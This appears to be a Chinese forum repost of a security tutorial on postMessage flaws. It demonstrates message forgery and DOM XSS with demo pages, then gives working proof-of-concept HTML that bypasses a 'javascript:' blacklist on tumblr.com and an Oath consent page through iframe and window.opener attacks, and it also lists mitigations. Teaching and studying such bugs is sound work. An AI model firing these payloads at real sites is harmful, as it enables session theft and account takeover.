【网络安全】PostMessage:分析JS实现XSS

打印 上一主题 下一主题

主题 838|帖子 838|积分 2524

媒介

PostMessage是一个用于在网页间安全地发送消息的浏览器 API。它允许不同的窗口(例如,来自同一域名下的不同页面或者不同域名下的跨域页面)进行通信,而无需通过服务器。通常情况下,它用于实现跨文档消息转达(Cross-Document Messaging),这在一些复杂的网页应用和浏览器插件中非常有用。
示例

在深入学习本文前,通过父子窗口间的消息转达示例代码+浏览器回显带领读者了解必要的知识。
1、send.html通过 postMessage 函数向receive.html发送消息:
  1. <!--send.html-->
  2. <!DOCTYPE html>
  3. <html>
  4. <head>
  5.     <title>发送界面</title>
  6.     <meta charset="utf-8" />
  7.     <script>
  8.         function openChild() {
  9.             child = window.open('receive.html', 'popup', 'height=300px, width=300px');
  10.         }
  11.         
  12.         function sendMessage() {
  13.             //发送的数据内容
  14.             let msg = { content: "玲珑安全漏洞挖掘培训vx: bc52013" };
  15.             //发送消息到任意目标源
  16.             child.postMessage(msg, '*');
  17.         }
  18.     </script>
  19. </head>
  20. <body>
  21.     <input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' />
  22.     <input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
  23. </body>
  24. </html>
复制代码


2、receive.html通过监听 message 变乱来输出收到的消息:
  1. <!--receive.html-->
  2. <!DOCTYPE html>
  3. <html>
  4. <head>
  5.     <title>接收界面</title>
  6.     <meta charset="utf-8" />
  7.     <script>
  8.         //添加事件监控消息
  9.         window.addEventListener("message", (event) => {
  10.             let txt = document.getElementById("msg");
  11.             //接收传输过来的变量数据
  12.             txt.value = `接收到的消息为:${event.data.content}`;
  13.         });
  14.     </script>
  15. </head>
  16. <body>
  17.     <h1>接收界面(子窗口)</h1>
  18.     <input type='text' id='msg' style='width: 400px; height: 50px;'/>
  19. </body>
  20. </html>
复制代码


3、在send.html点击打开子窗口后弹出子窗口:


4、点击发送消息后,吸收界面收到而且打印消息内容“玲珑安全漏洞挖掘培训vx: bc52013”


如上,通过PostMessage实现了父子窗口间的消息转达。
然而,若代码誊写不规范将导致安全题目。
1、数据伪造
由于receive.html没有设置信托源,因此恣意页面都可向该页面发送数据,导致数据伪造。
  1. <!--数据伪造.html-->
  2. <!DOCTYPE html>
  3. <html>
  4. <head>
  5.     <title>数据伪造界面</title>
  6.     <meta charset="utf-8" />
  7.     <script>
  8.         function openChild() {
  9.             child = window.open('receive.html', 'popup', 'height=300px, width=300px');
  10.         }
  11.         
  12.         function sendMessage() {
  13.             //发送的数据内容
  14.             let msg = { content: "ICE" };
  15.             //发送消息到任意目标源
  16.             child.postMessage(msg, '*');
  17.         }
  18.     </script>
  19. </head>
  20. <body>
  21.     <input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' />
  22.     <input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
  23. </body>
  24. </html>
复制代码
如图,吸收方本应吸收到的消息为:


而在数据伪造界面打开子窗口并发送消息后,吸收界面吸收到伪造数据:


2、XSS
当发送参数可控且吸收方处理不妥时,将导致DOM XSS
例如,受害方吸收一个可控的URL参数:
  1. <!--受害方.html-->
  2. <!DOCTYPE html>
  3. <html>
  4. <head>
  5.     <title>受害方界面</title>
  6.     <meta charset="utf-8" />
  7.     <script>
  8.         //添加事件监控消息
  9.         window.addEventListener("message", (event) => {
  10.             location.href=`${event.data.url}`;
  11.         });
  12.     </script>
  13. </head>
  14. <body>
  15.     <h1>受害方界面(子窗口)</h1>
  16. </body>
  17. </html>
复制代码
于是可以构造恶意哀求,实现XSS:
  1. <!--攻击方实现XSS.html-->
  2. <!DOCTYPE html>
  3. <html>
  4. <head>
  5.     <title>攻击方实现XSS界面</title>
  6.     <meta charset="utf-8" />
  7.     <script>
  8.         function openChild() {
  9.             child = window.open('受害方.html', 'popup', 'height=300px, width=300px');
  10.         }
  11.         
  12.         function sendMessage() {
  13.             //发送的数据内容
  14.             let msg = { url:"javascript:alert('玲珑安全漏洞挖掘培训')" };
  15.             //发送消息到任意目标源
  16.             child.postMessage(msg, '*');
  17.         }
  18.     </script>
  19. </head>
  20. <body>
  21.     <input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' />
  22.     <input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
  23. </body>
  24. </html>
复制代码
在攻击方界面打开子窗口:


点击发送消息后,受害方执行JS代码:




同时,当页面中不包含X-Frame-Options标头时,还可利用 <iframe>标签嵌套受害方页面并转达可控参数,以执行JS代码:
  1. <!-- 攻击方: hacker.html -->
  2. <!DOCTYPE html>
  3. <html>
  4. <head>
  5.     <title>XSS-iframe</title>
  6. </head>
  7. <body>
  8.     <iframe name="attack" src="http://127.0.0.1/user.html" onload="xss()"></iframe>
  9. </body>
  10. <script type="text/javascript">
  11.     var iframe = window.frames.attack;
  12.     function xss() {
  13.         let msg = {url: "javascript:alert(document.domain)"};
  14.         iframe.postMessage(msg, '*');
  15.     }
  16. </script>
  17. </html>
复制代码


攻击结果如图:


漏洞危害如下:
(i)窃取用户敏感数据(个人数据、消息等)
(ii)窃取 CSRF 令牌并以用户的名义执行恶意操作
(iii)窃取账户凭据并接管用户账户
修复缓解方案
1、发送方应验证目标源,确保消息只能被预期的吸收方处理:


吸收方应使用指定的信托域:


此时,点击发送消息后,受害方界面不再执行弹窗,因为攻击方指定的目标源是https协议,而受害方仅指定http://127.0.0.1为信托源:


当攻击方页面指定127.0.0.1的http协议时,由于攻击方页面与受害者页面均在该服务器上,因此可以或许实现XSS:




正文

进入tumblr.com,在cmpStub.min.js文件中存在如下函数,其不检查 postMessage 的来源:
  1. !function() {
  2.             var e = !1;
  3.             function t(e) {
  4.                 var t = "string" == typeof e.data
  5.                   , n = e.data;
  6.                 if (t)
  7.                     try {
  8.                         n = JSON.parse(e.data)
  9.                     } catch (e) {}
  10.                 if (n && n.__cmpCall) {
  11.                     var r = n.__cmpCall;
  12.                     window.__cmp(r.command, r.parameter, function(n, o) {
  13.                         var a = {
  14.                             __cmpReturn: {
  15.                                 returnValue: n,
  16.                                 success: o,
  17.                                 callId: r.callId
  18.                             }
  19.                         };
  20.                         e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")
  21.                         //不检查来源,为后续测试提供可能性
  22.                     })
  23.                 }
  24.             }
复制代码
主要寄义:吸收并分析 JSON 数据 (e.data),将其转换为 JavaScript 对象 (n);执行 __cmpCall 中指定的命令和参数,并将执行结果封装成返回对象 a;最后通过 postMessage 方法将处理结果发送回消息来源。
跟进__cmp() 函数,看看应用步调对数据进行了何种处理:
  1.      if (e)
  2.                 return {
  3.                     init: function(e) {
  4.                         if (!l.a.isInitialized())
  5.                             if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},
  6.                             p.uiUrl || p.organizationId)
  7.                                 if (c.a.isSafeUrl(p.uiUrl)) {
  8.                                     p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),
  9.                                     g.setGdpr("S"),
  10.                                     g.setPublisherId(p.organizationId)),
  11.                                     (t = p.sharedConsentDomain) && r.a.init(t),
  12.                                     s.a.setCookieDomain(p.cookieDomain);
  13.                                     var n = s.a.getGdprApplies();
  14.                                     !0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),
  15.                                     h(function(e) {
  16.                                         e ? l.a.initializationComplete() : b(l.a.initializationComplete)
  17.                                     }, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {
  18.                                         n || (e = !0),
  19.                                         s.a.setIsUserInEU(e),
  20.                                         e ? (g.setGdpr("L"),
  21.                                         h(function(e) {
  22.                                             e ? l.a.initializationComplete() : b(l.a.initializationComplete)
  23.                                         }, !0)) : l.a.initializationComplete()
  24.                                     })
  25.                                 } else
  26.                                     c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl).  Valid format is "http[s]://example.com/path/to/cmpui.html"');
  27. // (...)
复制代码
可以看出,c.a.isSafeUrl(p.uiUrl))为真才将继续执行。
跟进isSafeUrl函数:
  1. isSafeUrl: function(e) {
  2.            return -1 === (e = (e || "").replace(" ",
  3.            "")).toLowerCase().indexOf("javascript:")
  4.     },
复制代码
若p.uiUrl(即e)中存在javascript,则返回假。
所以这里是为了防止JS代码执行,而通常使用黑名单的防护方式是容易被绕过的。
那么传入的p.uiUrl参数后续会颠末什么处理呢?
在上面的代码中,还存在该行代码:
  1. e ? l.a.initializationComplete() : b(l.a.initializationComplete)
复制代码
跟进b()函数:
  1. b = function(e) {
  2.             g.markConsentRenderStartTime();
  3.             var n = p.uiUrl ? i.a : a.a;
  4.             l.a.isInitialized() ? l.a.getConsentString(function(t, o) {
  5.                 p.consentString = t,
  6.                 n.renderConsents(p, function(n, t) {
  7.                     g.setType("C").setGdprConsent(n).fire(),
  8.                     w(n),
  9.                     "function" == typeof e && e(n, t)
  10.                 })
  11.             }) : n.renderConsents(p, function(n, t) {
  12.                 g.setType("C").setGdprConsent(n).fire(),
  13.                 w(n),
  14.                 "function" == typeof e && e(n, t)
  15.             })
复制代码
再跟进关键的renderConsents() 函数:
  1.          renderConsents: function(n, p) {
  2.                 if ((t = n || {}).siteDomain = window.location.origin,
  3.                 r = t.uiUrl) {
  4.                     if (p && u.push(p),
  5.                     !document.getElementById("cmp-container-id")) {
  6.                         (i = document.createElement("div")).id = "cmp-container-id",
  7.                         i.style.position = "fixed",
  8.                         i.style.background = "rgba(0,0,0,.5)",
  9.                         i.style.top = 0,
  10.                         i.style.right = 0,
  11.                         i.style.bottom = 0,
  12.                         i.style.left = 0,
  13.                         i.style.zIndex = 1e4,
  14.                         document.body.appendChild(i),
  15.                         (a = document.createElement("iframe")).style.position = "fixed",
  16.                         a.src = r,
  17.                         a.id = "cmp-ui-iframe",
  18.                         a.width = 0,
  19.                         a.height = 0,
  20.                         a.style.display = "block",
  21.                         a.style.border = 0,
  22.                         i.style.zIndex = 10001,
  23.                         l(),
复制代码
可以看到该函数将创建iframe元素,而该元素的src属性就是我们可控的p.uiUrl。
综上所述,团体流程如下:
   传入的数据进入cmp()函数处理 -> 处理时执行issafeurl函数判定数据是否合法 -> 若合法,则执行renderConsents()函数,构造iframe
  知悉参数从转达到处理的流程后,就可以构造Payload了。
现在的目的是绕过isSafeUrl函数,而恰恰,JavaScript 在处理字符串时,会忽略掉换行符、制表符等空白字符(无害脏数据):


因此,依据__cmp() 函数,以JSON情势构造Payload如下:
  1. {
  2.     "__cmpCall": {
  3.         "command": "init",
  4.         "parameter": {
  5.             "uiUrl": "ja\nvascript:alert(document.domain)",
  6.             "uiCustomParams": "ice",
  7.             "organizationId": "ice",
  8.             "gdprAppliesGlobally": "ice"
  9.         }
  10.     }
  11. }
复制代码
使用iframe嵌套受攻击页面:
  1. <html>
  2.     <body>
  3.         <script>
  4.             window.setInterval(function(e) {
  5.                 try {
  6.                     window.frames[0].postMessage("{"__cmpCall":{"command":"init","parameter":{"uiUrl":"ja\\nvascript:alert(document.domain)","uiCustomParams":"ice","organizationId":"ice","gdprAppliesGlobally":"ice"}}}", "*");
  7.                 } catch(e) {}
  8.             }, 100);
  9.         </script>
  10.         <iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe>
  11.     </body>
  12. </html>
复制代码
乐成实现XSS:


以上是页面中不包含X-Frame-Options标头的情况,导致我们能嵌套受攻击页面。
若页面中包含X-Frame-Options 标头,则我们不能嵌套受攻击页面。这种情况下,可通过 window.opener 实现两个浏览器选项卡之间的毗连,再发送 postMessage 消息,实现XSS。
在tumblr.com页面存在X-Frame-Options标头,但也含有cmpStub.min.js文件的情况下,攻击代码如下所示:
  1. <html>
  2. <body>
  3. <script>
  4. function e() {
  5.     window.setTimeout(function() {
  6.         window.location.href = "https://www.tumblr.com/embed/post/";
  7.     }, 500);
  8. }
  9. window.setInterval(function(e) {
  10.     try {
  11.         window.opener.postMessage("{"__cmpCall":{"command":"init","parameter":{"uiUrl":"ja\\nvascript:alert(document.domain)","uiCustomParams":"ice","organizationId":"ice","gdprAppliesGlobally":"ice"}}}","*");
  12.     } catch(e) {}
  13. }, 100);
  14. </script>
  15. <a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>
  16. </body>
  17. </html>
复制代码
乐成实现XSS:



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

来自云龙湖轮廓分明的月亮

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表